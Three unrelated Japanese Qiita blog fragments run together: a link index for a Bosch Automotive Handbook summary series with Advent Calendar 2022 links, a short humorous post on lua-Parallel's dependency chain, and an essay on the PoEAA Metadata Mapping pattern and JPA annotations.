Comfort and convenience, 1392
Safety systems in the motor vehicle, 1410
Vehicle security systems, 1430
Automotive electrics, 1450
Vehicle electrical systems for hybrid and electric vehicles, 1560
Automotive electronics, 1620
Entertainment 1780
Drive assistance and sensors, 1804
Drive assistance systems 1872
Future of automated driving 1934
Appendics, 1940
# Emission-control and diagnosis legislation
no. Number
p. page
v. views
g. goods.
s. stocks

|no.|title|P.|v.|g.|s.|
|:----|:----|--:|--:|--:|--:|
|85|Emission-control legislation, https://qiita.com/kaizen_nagoya/items/173dea2983e688cb9faa|1042|116|0|0|
|86|Exhaust-gas measuring techniques , https://qiita.com/kaizen_nagoya/items/ad2ffdf6b39cec28252e|1078|136|0|0|
|87|Diagnostics,https://qiita.com/kaizen_nagoya/items/27d69ef88ce7468c0da0|1090|143|0|0|

# 自己参考資料(self reference)

ボッシュ自動車ハンドブック 

https://qiita.com/kaizen_nagoya/items/8e330ce57880f04d71d9
ボッシュ自動車handbook(英語)10版　目次

https://qiita.com/kaizen_nagoya/items/57c799ff544c96efdea9

自動車工学とBosch Vehicle Handbook

https://qiita.com/kaizen_nagoya/items/d13ff6b0e4d7c8907c0d



# Advent Calendar 2022

今年企画した４つのAdvent Calendarと、それぞれの記事一つをご紹介します。

AUTOSAR Advent Calendar 2022

https://qiita.com/advent-calendar/2022/autosar

AUTOSAR References to ISO, IEC, ITU, IEEE, RFC and SEA etc.

https://qiita.com/kaizen_nagoya/items/d7d252211e10a79516df

Automotive Handbook Advent Calendar 2022

https://qiita.com/advent-calendar/2022/automotivehandbook

Basic principles, ボッシュ自動車handbook(英語)11版まとめ<2>

https://qiita.com/kaizen_nagoya/items/24a1ba5da3d09b2a95d1


2022 いいねをいただいた記事ランキング(O.K.版) Advent Calendar 2022

https://qiita.com/advent-calendar/2022/goods

2022年１月下旬　いいねをいただいた記事　16

https://qiita.com/kaizen_nagoya/items/0ee589a8edaeab24fd2a

AdCale(O.K.) Advent Calendar 2022

https://qiita.com/advent-calendar/2022/adventcalendar2022

「会議は15分未満」に。小耳にはさんだ話。

https://qiita.com/kaizen_nagoya/items/510c47c5d1e8d03145db

AdvencCalendar2022 報告

https://qiita.com/kaizen_nagoya/items/5b4b99cb9ad571f4094b

誤差の評価が苦手（専門分野以外）

https://qiita.com/kaizen_nagoya/items/cc3a50827b24ab80985f



 ＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞


# 文書履歴(document history)
ver. 0.01 初稿 20221209
lua-Parallelってなんだってばよっ！！

　
この記事は[アドカレ](https://qiita.com/advent-calendar/2022/lua)に参加しています。

# lua-Parallelってなんだってばよっ！！

　最近、lua-Parallelというものを知りました。~~なにそれ？~~

…という訳で、少し調べてみると、どうやらluaで並列処理ができるすごいやつみたいです。つまり、luaで高速化の処理ができるということですね。それは素晴らしい。

だが、ちょっと待ってほしい。そんな上手い話があるのだろうか。

…ということで、これまた調べてみました。どうやら、lua-Parallelはlzmpをラッピングしたものらしいです。

で、lzmpはllthreads2をラッピングしたものらしいです。

で、llthreads2はllthreadsの改良版らしいです。

で、llthreadsはc言語で書かれているらしいです。

~~もう意味わかんねぇよ~~

順番にリンク並べてみました。
[lua-Parallel](https://github.com/moteus/lua-Parallel)
↑
[lzmp](https://github.com/zeromq/lzmq)
↑
[llthreads2](https://github.com/moteus/lua-llthreads2)
↑
[llthreads](https://github.com/Neopallium/lua-llthreads)
↑
[c言語](https://github.com/Neopallium/lua-llthreads/blob/master/src/pre_generated-llthreads.nobj.c)

…なんて複雑な関係なんだッ！
luaがラブコメなら泥沼確定演出です。

そんなこんなで、lua-Parallelの存在について調べてみました。

はい、それだけです。


[twitter](https://twitter.com/metaphysicalba1)
Metadata Mapping

![12.MetadataMapping.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/11525/3353510d-5b8c-de69-d3e2-c24188ccfd65.png)

https://bliki-ja.github.io/pofeaa/MetadataMapping/

ここからは、これまでの部分的な問題にフォーカスしたパターンから、包括的にO/Rマッピングを扱う「オブジェクトリレーショナルメタデータマッピングパターン」となります。

Metadata Mapping は、手作業プログラミングによるクエリ結果からオブジェクトへの転送ロジックを書くのではなく、ロジックと無関係な宣言的メタデータを使って、包括的にマッピングを実現するメカニズムを導入するパターンです。

小さなプロジェクトであれば、これまでの振る舞いと構造のパターンを意識した Data Mapper を自作することも不可能ではありません。Unit Of Work は少し難しいかもしれませんが、使われる状況が限定的なら、プロジェクト固有の事情に甘えることができるので、不可能とも言えないでしょう。

しかし、大きなプロジェクトになってくると、Domain Model のロジックよりも、自作したマッピングのメカニズムのほうが大きくなり、バグの温床になってしまいます。Domain Model は純粋な単体テストが可能ですが、全てのマッピングが正しく動いているかを確認するには、データベースの実体が必要です。

手作業の辛さを解消するには、メタデータでマッピング戦略を指定できる O/R マッパーライブラリを活用するのが最適です。PoEAA が紹介したパターンを使って、データベースの事情から完全に切り離しながら Domain Model を描いているのなら、パターンに忠実な Data Mappaer に差し替えても、Domain Model のデータ構造とビジネスロジックには何の影響もないはずです。

PoEAA には、言語内 DSL のようなレイヤーや、外部の設定ファイルによるメタデータ割当が紹介されています。現代と PoEAA が書かれた頃とが異なるのは、Java や PHP などのクラスとメソッドを明確に書くタイプの言語に、自由なメタデータを埋め込める文法が追加されたことです。ロジックとは無関係に、ソースコードに任意のマーカーを埋めておける仕組みです (Python のデコレーターは、記法こそ似ていますが、関数それ自体の振る舞いを変更してしまうので、メタデータではありません)。

Java の JPA は、この、「ソースコード内のメタデータを利用して O/R マッピングを行う」にあたって、ライブラリベンダーの差異を減らすことを目的として定められた、業界標準のアイデアです。大多数のマッピング設定を JPA に従って書き、ベンダー固有の機能設定だけベンダー固有アノテーションをつければ、万が一ライブラリの移行が必要になったとしても、Domain Model への変更を最小化 (しかもそれは一部のメタデータなのでロジックは全く変えなくていい) できて安心です。

ソースコードにメタデータを直接書き込むことを嫌う人もいます。しかし、メタデータはプログラムに直接的な影響を全く及ぼしません。データベースと接続しないかぎり、これまでの単体テストはこれまでどおり、すべてパスします。ソースコードに埋められたメタデータは、本質的には外部ファイルに分けて書いたメタデータと何の違いもありません。もしソースコードへの変更が頻繁に起きて、Domain Model のリファクタリングとマッピング時の SQL チューニングの作業がコンフリクトしやすいなら、衝突しやすいこと (継承マッピングの選択など) だけを外部ファイルに分けておき、変わりにくいこと (フィールドの名前と型など) だけをソースコードに残す、といったアイデアも考えられます。

Domain Model への影響がないことから考えれば、Metadata Mapping もまた、選択肢のひとつにすぎません。かならずしも Data Mapper の特徴の全てが必要というわけでない場合には、個別のパターンを参考に小さく手作りする選択をしても、けして間違いではありません。